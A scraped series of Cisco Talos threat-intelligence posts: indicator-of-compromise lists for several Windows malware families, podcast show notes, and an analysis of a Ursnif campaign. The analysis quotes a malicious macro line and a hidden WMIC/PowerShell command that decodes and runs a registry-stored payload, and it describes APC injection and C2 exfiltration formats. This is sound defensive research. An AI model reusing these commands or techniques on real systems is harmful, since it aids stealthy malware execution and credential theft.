    • %LocalAppData%\Temp\drp4vham.v1t.ps1
    • %LocalAppData%\Temp\h224jefh.5gj.psm1
    File Hashes
    • 016449ce658b591c81a660cdf3aa38bfff92a5f107ba172c31e127954b36e344
    • 28cf4ee192bfbf24ef0bc9a8eff889501ddaf08031c4c369035ddeec949e2879
    • 3356b99748cd869b64a8be09de12dc8af1f417acd040e6ca4d80344ad58eb62c
    • 33bc3b2d5e4464eb9a12fcbdd7a4dc0a6e7c02f3e2149325f473e1d59c019022
    • 388fe279f421985cb9e147aaf8231a98c832874952c396a13df08894c3a9714d
    • 38e53d78bb20c1475bb99e81348df948a7a2a7c54e553f7a07297e53de59ea15
    • 581e775919ebf602a88369287a40c6b746ebf0a6e4f631c627091527690ab6c3
    • 5a2e46067d3710ece2abdb092e7a3e49075ca19d0849e6499fb7953c28a9ec8e
    • 8c2bd29b1fc6bb1e3187ba8cf8329847e419fe62b6ed3f2e054991dcade63dda
    • aa800f12bc65cd7580d5f75a3b19de5333ccba6b81a4d7df58556c7878a4d82a
    • b5d324893085f52a6b7d750b41d3039462d0e66e2e07f36d7aa07ab53f694790
    • c7cb43c0854e5691b41f80496be003f9c1741e2921e5ee039645e220190162a2
    • d7e114011982bf58dbd1752874d27895b1716fc1a0a02f8515a3384c9dde7a97

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Malware



    Win.Downloader.Upatre-6815606-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
      • Value Name: ProxyEnable
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
      • Value Name: ProxyServer
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
      • Value Name: ProxyOverride
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
      • Value Name: AutoConfigURL
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
      • Value Name: AutoDetect
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
      • Value Name: ProxyBypass
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
      • Value Name: IntranetName
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
      • Value Name: UNCAsIntranet
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP
      • Value Name: AutoDetect
    Mutexes
    • Local\ZonesCacheCounterMutex
    • Local\ZonesLockedCacheCounterMutex
    • Local\MSCTF.Asm.MutexDefault1
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 84[.]22[.]177[.]39
    Domain Names contacted by malware. Does not indicate maliciousness
    • ce-cloud[.]com
    Files and or directories created
    • %LocalAppData%\Temp\hfdfjdk.exe
    • %LocalAppData%\Temp\ddjienn.exe
    File Hashes
    • 0008e3366cdb87658cde4f85f0e5741be774af2694012c5f8502c1d51759dee2
    • 0b9fbbdcc9efc61347e0f0c483098d42ec98a6111a8009e5e5ff1447a82e1687
    • 1af0f85fde6d7365d4a97557f244cd95138a9803c2761d224fccc0eb0b4ad98e
    • 1f6e5f75292636c7188d6f9cdcaa7597e0c251a3be8ce984488d68914f7ec9df
    • 26b32472bb1a256a74573ec41e62fd871bb4ea756e4e8d57a941a032f6f405cd
    • 285311d3a4d8608b94d4b3cccf3b9af094b5cdb51f7f92820b3b5bda8252137d
    • 31db2340ffd8138aa3edaaa8029a30ea69a7e15ddbc1305f358c1478ff86f520
    • 3cac1b87633da57b21fc38fc0da4f861e1dce3f8e48a2ced1824466da0b96049
    • 3ef053f471053ead09f9b6dd0e54d13d64c83b5cb8141a8bece7acc66b61cca7
    • 429612f20949951f879009fd9843668237baf3aaebd55c645f30e4f08d12e203
    • 43c983dc9afe5727c47415c4a49ae29ea9ecc0ee902dc1918a9b5b9717f29e54
    • 4e57fa6fb7d6ba5604b731123416a1c0f57802c4f2f4b639e1cef7734b14156c
    • 4e7249b5bab1568c6f288313c0fae32350aaa909cae234618a5cf2d63a55b9b0
    • 505bfa3c9c8e636aea732304b35f433d2293b0d0551c838a1b92f1c3f5fe7c7b
    • 5914cd64a76b00d7959492292242ddbf42db9664a12f28aa42ee55c9d1a331c5
    • 60d0b3f876b5e3e71a670dcfe60e42fef400122b74c63918fc77a35b31acdf93
    • 653d6a96f4df49dc81a7cf2093cc622ebbeedd1a5e7298f61cc7227e8757aa50
    • 68f21b90a6486f1288e88f5e00fe69bb35dba3fadba68212c226d4661d6cd6e2
    • 6ea9adfb2dd8d038803708173b88f366d79a8de500268f988f9d34a7717ae5d3
    • 7266abbcf661e5648958d321114eadd09b05fa00cf7ba67610fbcc97cf5d8094
    • 78d18fd4a7d66bd3c6c7b7a6b962f115a1059d7587e933b295621ee4b46813ef
    • 83c355f8cc2eb5f2381bfdbfa92db493891b2d08519d575e6a27e677cc60b1e1
    • 83fb58f507b34a716b4e2a7b7edfcd184d64ec7577e2fe2c4cf26aaf2ab2ec46
    • 8d59f4516f1d894e8b52ec3f4ed5d5ee0e0bbacfc3e51078a9209641e5c0bc02
    • a0adfc3962b66d010da50d5fe1821b5a0cdbd85d98b03914655d269eccac44a2

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid




    Doc.Malware.Sagent-6813871-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • Global\552FFA80-3393-423d-8671-7BA046BB5906
    • Global\MTX_MSO_Formal1_S-1-5-21-2580483871-590521980-3826313501-500
    • Local\10MU_ACB10_S-1-5-5-0-57527
    • Local\10MU_ACBPIDS_S-1-5-5-0-57527
    • Local\MSCTF.Asm.MutexDefault1
    IP Addresses contacted by malware. Does not indicate maliciousness
    • N/A
    Domain Names contacted by malware. Does not indicate maliciousness
    • www[.]richmondchamber[.]com
    • madisonda[.]com
    • carminewarren[.]com
    • chefshots[.]com
    • carriedavenport[.]com
    • ezpullonline[.]com
    Files and or directories created
    • %TEMP%\cFi.exe
    • %LocalAppData%\Temp\lhfpz4cu.e3t.ps1
    • %LocalAppData%\Temp\nxli3mbc.5ex.psm1
    File Hashes
    • 15c651628f4ccd80f1d6ff52a3464610cd9f7fe31ffcc332c15bb4abaa5a3486
    • 184ccc288232c76b5589ec0c6aeb280c934a5ad35c0c7155146d71030a040b40
    • 20d9a0f8fe27a43d9d99fd593c8d8af9b9799172c5b7179aa5a8cd2219de3b28
    • 210999842efd1221eb1973f2f18bdc8e8764ee19bba2680ac931edb357c72c29
    • 219520e560a9eb432aba9d319c3c959ff9fe3f4a3ed9eb7f34ff13d1f8fdeaa1
    • 2ad4db5a367762fcde6ddaffc4159f16f82c15d0af81b17d445327acfdc896ed
    • 2ce7330a70040737397b483674680e27bcbdc67390dc64df11319539f15d4c79
    • 3382c6cad4e8edd4f9423bfb6a7c0b2404386274280b9dbc09da6b40c3a976c0
    • 37e0df1c725974d8842dbfd1c97c2808174bb13507008056d71acf5dcb16be86
    • 3ca90d5bcf6aa92241dbfd3974542febbf325d25458643f2705fa71233445213
    • 3fb6a4110c75a5c207da5997ed9b61fa0987d505bcb64aefad0676b1403fcbf6
    • 4aa3fa1ef3642be02826ef9466eaf90427857dcdaaca6b7086b842527376f6fa
    • 4acbd8ebac5a1cfcb72aad7e5f1ff3b21d2541a931964a07de2a50bcb9325121
    • 4b122ed996a80e03a2056abfc84a875b6c3cf2f02081f8546fe62ba9308a8e58
    • 57b90075a2a9821278a1ce760e5fd36f35f5ff5e768bef60f04aa4ac3741bc9d
    • 58503078fa335ae31c9c405e1ae21f9784a8b1fa397481289fbd387549d1d857
    • 58972ab31449176f9d62c6b35bcd63843cbeeb099b374e56b2c1cda373fb880b
    • 7bb379b42a8c970753eb37ecfd9e33fc758a9e24cd72594e1463b967552884d7
    • 807a8434cc34fb0b2875b8a8edbad637e29225288e8400c58317d6e50a93a2c7
    • 8d10a6a99658759428cc5ab65baf57aee16ab607c23e2fb779e60450883aceb3
    • 934acd0d0bb2e9dd8c533594fc5b883a5542a7cbfc967a64243810124ae1193d
    • 95329196e424d530c8d1871241a630b2bebaf7d7c2ceeda21e1d5634f6fdd721
    • 9aaeb10b1fa88e535d1c4d1b4313c0423173489c9e6b90f1922cd86df0c2c316
    • 9dae1c9ef8a1bad9c6d708cef1e3f156eb634f406af397c55fca0fd3763311c2
    • a50bbe414048cadb53c22770c78fdae9ac730249693ca7d46df239732938b3f1

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Umbrella




    Malware



    Win.Virus.Sality-6814419-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED
      • Value Name: Hidden
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: AntiVirusOverride
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: AntiVirusDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: FirewallDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: FirewallOverride
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: UpdatesDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
      • Value Name: UacDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: AntiVirusOverride
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: AntiVirusDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: FirewallDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: FirewallOverride
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: UpdatesDisableNotify
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC
      • Value Name: UacDisableNotify
    • <HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
      • Value Name: EnableLUA
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
      • Value Name: EnableFirewall
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
      • Value Name: DoNotAllowExceptions
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
      • Value Name: DisableNotifications
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: -757413758
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: 1011363011
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: -1514827516
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A3_0
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A4_0
    • <HKLM>\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT
      • Value Name: AlternateShell
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A3_1
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A4_1
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: 1768776769
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: 253949253
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: 2022726022
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
      • Value Name: -503464505
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A2_2
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A1_0
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A2_0
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A1_1
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A2_1
    • <HKCU>\SOFTWARE\AASPPAPMMXKVS
      • Value Name: A1_2
    Mutexes
    • DBWinMutex
    • uxJLpe1m
    • dlkjsow832jsxXscx3cxc
    • fdlf89dlsd
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 206[.]189[.]61[.]126
    • 195[.]38[.]137[.]100
    • 213[.]202[.]229[.]103
    • 217[.]74[.]65[.]23
    • 217[.]74[.]76[.]129
    • 91[.]142[.]252[.]26
    • 69[.]172[.]201[.]153
    • 94[.]73[.]145[.]239
    • 173[.]193[.]19[.]14
    • 185[.]64[.]219[.]5
    • 5[.]101[.]0[.]44
    • 49[.]50[.]8[.]31
    • 103[.]11[.]74[.]25
    • 173[.]0[.]143[.]204
    • 107[.]180[.]27[.]158
    • 103[.]224[.]182[.]246
    • 46[.]30[.]215[.]173
    Domain Names contacted by malware. Does not indicate maliciousness
    • www[.]litespeedtech[.]com
    • pelcpawel[.]fm[.]interia[.]pl
    • www[.]interia[.]pl
    • chicostara[.]com
    • dewpoint-eg[.]com
    • suewyllie[.]com
    • www[.]bluecubecreatives[.]com
    • 724hizmetgrup[.]com
    • yavuztuncil[.]ya[.]funpic[.]de
    • www[.]ceylanogullari[.]com
    • cevatpasa[.]com
    • pracenadoma[.]wz[.]cz
    • tehnik-unggul[.]com
    • philanthrope[.]in
    • www[.]katenilsson[.]dk
    • www[.]best-lab[.]org
    • ksaxl[.]com
    Files and or directories created
    • %System16%.ini
    • %AppData%\Microsoft\Windows\Cookies\70QUCKJE.txt
    • %AppData%\Microsoft\Windows\Cookies\OMAMI620.txt
    • %AppData%\Microsoft\Windows\Cookies\XTNNC6UJ.txt
    • %AppData%\Microsoft\Windows\Cookies\502SJT1F.txt
    • %LocalAppData%\Temp\huies.exe
    • %LocalAppData%\Temp\yjoj.exe
    • \osipby.exe
    • \xcmjc.exe
    • %LocalAppData%\Temp\dnbaex.exe
    • %LocalAppData%\Temp\whprwx.exe
    • %LocalAppData%\Temp\wingahupx.exe
    • %LocalAppData%\Temp\winuarv.exe
    • %LocalAppData%\Temp\wlpilw.exe
    • %LocalAppData%\Temp\ccwus.exe
    • %LocalAppData%\Temp\uhmeo.exe
    • %LocalAppData%\Temp\winauaepw.exe
    • %LocalAppData%\Temp\winkwskn.exe
    • %LocalAppData%\Temp\winltmrtj.exe
    • \doxioa.exe
    • \wbpi.exe
    File Hashes
    • 02e195243af5923dae171d824b63a3d25a2538bc596a971273eb30b0a920b9e5
    • 03232668bd0c47073066f155ac5577b0240fcff40eafac864adef86694006e43
    • 03bc456b9c91607a9ace1f4d8121d28f51ea3177bc2198fc3a1d76aab20b3620
    • 049d7d3d22c12f592379446b2ebb2cd2c894422379421afd4c77986a293760ed
    • 06e4245cf5a76061587820f25a5d019663b63cca431e9bb43095d6c09b25a3ea
    • 091eb9a5e513328d93d4e46884a210464ebbf3da71be68704bfd3bb00a842724
    • 0a8bd011f75fc337eba89d7aa95f293999ca5aa086357abe96555266d952b883
    • 0c0999de8b07c0e231326c88f991d068f6d56d9e85a2c386a09ccf2eb8be9ebf
    • 0ec786687795fff9476658ca7b29a04949025cdb3fae672a6ae071520313f43c
    • 109ec982b35185df989ef3558f704648ff4e4b9c307fba80d238dc546a5ff8d2
    • 10c2740264a991ddd1bc1058975565eaa871803647805048c8132d169d34f5ca
    • 11b75d4bb7cdc3938d884da59da1885e70b8bc995bbf528ffd1c02d5876214f8
    • 13971272ef6b82c6b5ef9de3eb33f2dc439048c4eacd388faf2de37d89d25bb1
    • 15b9de1e80e24edb459847e427edbee34734d9950db2c84f30175ba46eb5d208
    • 168fce02cad1cfd3ac578f3ccfb023c6ea76f8c402ab160f0271863c66279af0
    • 1692102392f7d3552307ae0b1e081b862650272d22a3823134cc9a2bfc6866c3
    • 16e8fc998564cd4272795782a371fad13fca160f9427f85e0a8591d56c9a5248
    • 1a93a65e01aecd981c300f7877d51c1b4907fccb4acced53c3e70bb7c1884e61
    • 1c2479ad95ad5ec5944d10fc4222b0f7b9c40e4f3e940515c18773205a6129c8
    • 1c7a9720df7186f3354799f5f7b17139e20d8c9233ef796c1f8a9a4a61a3eb73
    • 1f747322ea42c2d20d19d3f0b9b2afe1f143910006163a6f08d27b97b2927ff7
    • 2012be50bc465db1fee01bcd1183590e9d22a1fb3105efa1005f9da81adc7a5c
    • 238f6f0376a19f92bfb2e616bac4da36f5eb922e2e93bba8bb61d0a0dfa18f18
    • 252fe2be1234ed2028a28650daa61a2a5e90f40598c52b97226d67c8e701b97b
    • 256fd9777738e64c2dc9279a398a24cc2382d95eb94d760d081fee71d8daa32b

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Umbrella



    Win.Packed.Johnnie-6814043-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: internat.exe
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE\AUTHORIZEDAPPLICATIONS\LIST
      • Value Name: C:\Users\Administrator\AppData\Roaming\Window Updates\winupdt2.exe
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE\AUTHORIZEDAPPLICATIONS\LIST
      • Value Name: C:\Users\Administrator\AppData\Roaming\Windows Updater.exe
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: WinUpdt
    • <HKCU>\SOFTWARE\VB AND VBA PROGRAM SETTINGS\SRVID\ID
      • Value Name: DZ85WJDHN3
    • <HKCU>\SOFTWARE\VB AND VBA PROGRAM SETTINGS\INSTALL\DATE
      • Value Name: DZ85WJDHN3
    Mutexes
    • DZ85WJDHN3
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 204[.]95[.]99[.]61
    Domain Names contacted by malware. Does not indicate maliciousness
    • havefunnuke[.]servequake[.]com
    Files and or directories created
    • %AppData%\Window Updates\winupdt2.exe
    • %AppData%\Window Updates\winupdt2.txt
    • %AppData%\Windows Updater.exe
    • %AppData%\data.dat
    • %SystemDrive%\DOCUME~1\ADMINI~1\LOCALS~1\Temp\kAZSM.bat
    • %SystemDrive%\DOCUME~1\ADMINI~1\LOCALS~1\Temp\kAZSM.txt
    • %AppData%\Window Updates\
    • %AppData%\Window Updates\winupdt2.exe
    • %AppData%\Window Updates\winupdt2.txt
    • %AppData%\Window Updates\winupdt2.exe
    • %AppData%\Window Updates\winupdt2.txt
    • %AppData%\Windows Updater.exe
    • %AppData%\data.dat
    • %AppData%\Windows Updater.exe
    • %AppData%\data.dat
    • %LocalAppData%\Temp\AlgRz.bat
    • %LocalAppData%\Temp\AlgRz.txt
    • %LocalAppData%\Temp\AlgRz.bat
    • %LocalAppData%\Temp\AlgRz.txt
    File Hashes
    • 1091dadfa59fe9530292e18818036f6e8ea754664a29665427f357f5ab75d4e1
    • 2d00dce46e197f8fb90ee6ac49d4a671fbf4a5a52965021df8b18f787974b8e5
    • 3086d7d8c8d73a9d6e010edef5be6741be609120c7a6d5500b75d38157c65b40
    • 30e11e19fae9d52645c3d39f2988880cc7a92361cfd4cc16887efc2533eccaa3
    • 3c5550e2547c2b34dd54755a102c118884cc5eade31a455240f6d728f1fa142e
    • 42649ce0c2c923fc667921078c999d6bf0f83d41d5cff1fca4f3bcbab825609f
    • 468a2974e88fdbd3e43e9bb1fbb4e706e83215ea7af6d792ce818173d7eb91a2
    • 4a835d5e7c4293b6ac0fcd277051c6718397a425ae0b9e87f836927b5aaf5bfc
    • 542e1acae7a25e27803e5e48ef2bf6bad70edc79d1d0861d420c812bc41000d9
    • 54842caa37882cfc0aa7d565f4d2d1c6c77b9af259ae051c380fe08337576cd0
    • 795dd2ce39784bafcbda7b5fd364f7ca70ea9bcc9ea87cc9b46a4d8c0cf320b6
    • a94bc5d6fa3117328c19a9da7325a788ffc89ad481e63e761e875f10ee1910bc
    • aa75c45c4b182f44f265665905956827474e1da5fb002ced185cf679830772e3
    • cb5698b07a75086cb1aaddff5a451b3dfbcf07407ba0da9376cfe69a51c2b38b
    • d4825d1956ccf52a7e8043f28af9f2942e08c16bcee2785c51717047c89d1a92
    • da665cdf12e4e77c8383c37497e36f34bd5794273df879109774065bfbbec40f
    • ec0638880ff60664c2ffe5417342297f90b9df3df8b7e0c063387f8eb69f633b
    • ef405428d8e6f3bc8db642f36192e9684982ff4a6fa507259e8a63b832a72f8d

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Win.Downloader.Powershell-6810733-0


    Indicators of Compromise


    Registry Keys
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\BITS
      • Value Name: Start
    • <HKLM>\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS
      • Value Name: EnableFileTracing
    Mutexes
    • RasPbFile
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 92[.]63[.]197[.]48
    Domain Names contacted by malware. Does not indicate maliciousness
    • slpsrgpsrhojifdij[.]ru
    Files and or directories created
    • %LocalAppData%\Temp\979574639568794.exe
    • %LocalAppData%\Temp\jqlrdsf3.aw2.ps1
    • %LocalAppData%\Temp\qg25nwiz.upp.psm1
    File Hashes
    • 08523df3d1943edaeddde63d82ef9883c647fa0e32e6dd38b6ea132e5e67a938
    • 0ece442fd0f210407f128e1cd0c32fcac42f18a7490be62f6ef445725ec6c08e
    • 14eb1abed6c28c1b3f34d15f663cbad4ccd35f586e72dd6bdb68cc2295f46ed4
    • 15d55efbcadf80890653db8d710f5dbd8af0a15aa02174287864b76dbac711e2
    • 4525956fa304c39359981f0a0541985395b52f33bcb3bffba82576abad5d83da
    • 4e60c907247bb3dc206de6c9a59fcd2dc108cd0f7e3109a41eed3b29b0e2dc6b
    • 61c1822c8e0feeff2e35a6f821d634a9306c9c6fcebce3459a43c9eb3e482b04
    • 7ee9421633c1cf45b855551025d7c8b5eccca16a32a569ef62265b067e142d65
    • 82b4b7bb6a74ac688b563543f1720bdbe2c91319e9eede5c4b9fd0979c99dd03
    • 864586f404a45319aa1b921f460f6b672b0f0f384442366dcca7a9b8deeb0cfe
    • 8a48ab287acb6260e4ec3d1e59631d8ec91f3a8bf848dc5f1e97657fd2be5112
    • b41d6173c4a345c945451a444954a44569984fe4695047155e8f5328fa0fa0b5
    • bc2f6a4105f310dde0bd1ebc80e0453f6cf660d55414ee8638eaba339e372696
    • e23b6494912529d6339e9922048214a2dc0162489e33a3c1750c99348865b68e
    • e5cef04fdb9f9a47979db41eb80e5fc148b2b374c6ad28bd831283ac538e9c77
    • f92034a3417a6f0506dc7392fd745731be810b21f9dffb4e3b6b0b1b794f45fb
    • fc378a5892438ed05fcbdfc422eb4de13f1cab8fd30385c96c19532a9c974ee1

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Umbrella



    ↧

    Beers with Talos Ep. #45: SoHo attacks, IoT devices, and the cesspool setting

    January 22, 2019, 11:59 am
    $
    0
    0


    Beers with Talos (BWT) Podcast Ep. #45 is now available. Download this episode and subscribe to Beers with Talos:

    If iTunes and Google Play aren't your thing, click here.

    Ep. #45 show notes: 

    Recorded Jan. 18, 2019

    We have an extended roundtable today (even more than usual) because we accidentally discussed some relevant security topics in the meantime. Eventually, we move on to talk about recent releases, primarily the PyLocky decryptor and more internet-of-things vulnerabilities. We move on to discuss what’s going on in the small and home office device space, with some specific advice and a lot of rage. This episode closes out discussing the release of a new plugin for IDA called "Dynamic Data Resolver" (download available) and reminding everyone of the TTRS CFP (closing soon!) here.

    The timeline:

    The topics

    01:00 — Roundtable: The Reds, blockchain, Talos is hiring, the language of theater versus film. Yep. All that.
    22:26 — Emotet, Pylocky, and what we’ve been writing about lately
    28:15 — SoHo device attacks - the prevalence and problems presented
    53:17 — The cesspool setting for IoT devices
    54:45 — Dynamic Data Resolver (DDR) plugin for IDA Pro
    59:30 — Parting shots, closing thoughts

    The links

    The healing powers of Anfield
    Talos Careers page
    Stage musicals as movies analysis
    Pylocky Ransomware decryptor
    R600 VPN vulnerability post
    DDR plug-in for IDAPro
    Paul’s IDA palette
    Talos Threat Research Summit CFP

    ==========

    Featuring: Craig Williams (@Security_Craig), Joel Esler (@JoelEsler), Matt Olney (@kpyke) and Nigel Houghton (@EnglishLFC).
    Hosted by Mitch Neff (@MitchNeff).
    Find all episodes here.

    Subscribe via iTunes (and leave a review!)

    Check out the Talos Threat Research Blog

    Subscribe to the Threat Source newsletter

    Follow Talos on Twitter

    Give us your feedback and suggestions for topics:
    beerswithtalos@cisco.com
    ↧

    AMP tracks new campaign that delivers Ursnif

    January 24, 2019, 10:39 am
    $
    0
    0
    This blog post was authored by John Arneson of Cisco Talos

    Executive Summary



    Cisco Talos once again spotted the Ursnif malware in the wild. We tracked this information stealer after Cisco's Advanced Malware Protection (AMP) Exploit Prevention engine alerted us to these Ursnif infections. Thanks to AMP, we were able to prevent Ursnif from infecting any of its targets. The alert piqued our curiosity, so we began to dig a bit deeper and provide some recent IoCs related to this threat, which traditionally attempts to steal users' banking login credentials and other login information. Talos has covered Ursnif in the past, as it is one of the most popular malware that attackers have deployed recently. In April, we detected that Ursnif was being delivered via malicious emails along with the IceID banking trojan.

    Malicious Office document


    The Ursnif sample from the alert comes from a Microsoft Word document containing a malicious VBA macro. The document is straightforward, simply displaying an image that asks the user to enable macros. If macros are already permitted, the macro is executed automatically when opening the document via the AutoOpen function.

    The macro is mostly obfuscated code that executes math functions on data that does not relate to the next stage. There is only one line in the macro that is important to executing the next stage, ultimately executing PowerShell.

    Interaction@.Shell RTrim(LTrim(Shapes("j6h1cf").AlternativeText)), 84 * 2 + -168


    This line accesses the AlternativeText property of the Shapes object "j6h1cf." The value of this property is the malicious PowerShell command, which is subsequently executed by the Shell function. The PowerShell command is base64 encoded, and is another PowerShell command that downloads Ursnif. Specifically, it downloads an executable from its C2 to the AppData directory and executes it. Note, this is where the Exploit Prevention engine stops executing the downloaded file and provides us with alerts to investigate.

    Infection


    After the Ursnif executable is downloaded and executed, registry data is created that is important for the next stage of execution.


    The PowerShell command for the next stage of execution resides in the value of the APHohema key, as shown in the image above.

    This command uses Windows Management Instrumentation Command-line (WMIC) to execute PowerShell, which extracts the value of the Authicap key to execute it. The value of the Authicap key is a hexadecimal-encoded PowerShell command. The WMIC command makes use of /output:clipboard as a way to hide the normal output of process creation that is printed when creating a process with WMIC.

    C:\WINDOWS\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\236FF8AB-268A-4D1B-4807-BAD1FC2B8E95').Authicap))"

    The hexadecimal-encoded PowerShell command executed from Authicap decodes to a large PowerShell command, of which the most interesting part is base64-encoded. There are three parts to the command. The first part creates a function that is later used to decode base64 encoded PowerShell. The second part creates a byte array containing a malicious DLL. The third part executes the base64 decode function created in the first part, with a base64 encoded string as the parameter to the function. The returned decoded PowerShell is subsequently executed by the shorthand Invoke-Expression (iex) function.


    The decoded base64 PowerShell that is executed by iex is used to execute an Asynchronous Procedure Call (APC) Injection.


    The first part of the command creates two variables that import kernel32.dll. In this case, the variables are $igaoctlsc and $gdopgtvl, as seen being established by the Add-Type cmdlet.

    The APIs imported from kernel32 are:
    • GetCurrentProcess
    • VirtualAllocEx
    • GetCurrentThreadID
    • QueueUserAPC
    • OpenThread
    • SleepEx
    After the imports are established, the last portion is a single line that performs the APC Injection via the QueueUserAPC API. Here is the simplified form of that single line, with more readable formatting and normalized variable names.



    The injection starts by allocating memory for the malicious DLL with VirtualAllocEx, targeting the current process. If the allocation is successful, it then copies the malicious DLL into the newly allocated memory with Copy. Once that is completed, QueueUserAPC is executed, specifying the current thread within its process. This creates a user-mode APC and queues it within the thread. To execute the malicious DLL from the APC queue, the thread needs to enter an alertable state. SleepEx is used to trigger an alertable state completing the APC injection, by specifying 1 (True) for its second parameter which is bAlertable.

    C2 Traffic


    After infection, the C2 requests are made over HTTPS. Intercepting the traffic, we are able to see the contents of the requests. The most interesting part of the requests is that the data is put into a CAB file format, prior to exfiltration.



    URI Format Strings

    • soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
    • version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s\

    User-Agent Format String



    • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)

    The CAB files containing the data to be exfiltrated are stored in %TEMP%, with the filename format being four hexadecimal characters and a .bin extension. As Ursnif logs data to be exfiltrated, it creates CAB files to store the data with the built-in makecab.exe command. The command targets a created MakeCab directive file in the %TEMP% directory. The images below shows the created CAB files in %TEMP% and the MakeCab directives.





    Inside the created CAB files are plaintext data in the format: 
    <Current Date and Time>
    <Process Path>
    <Window Text>
    <Keystrokes Logged>



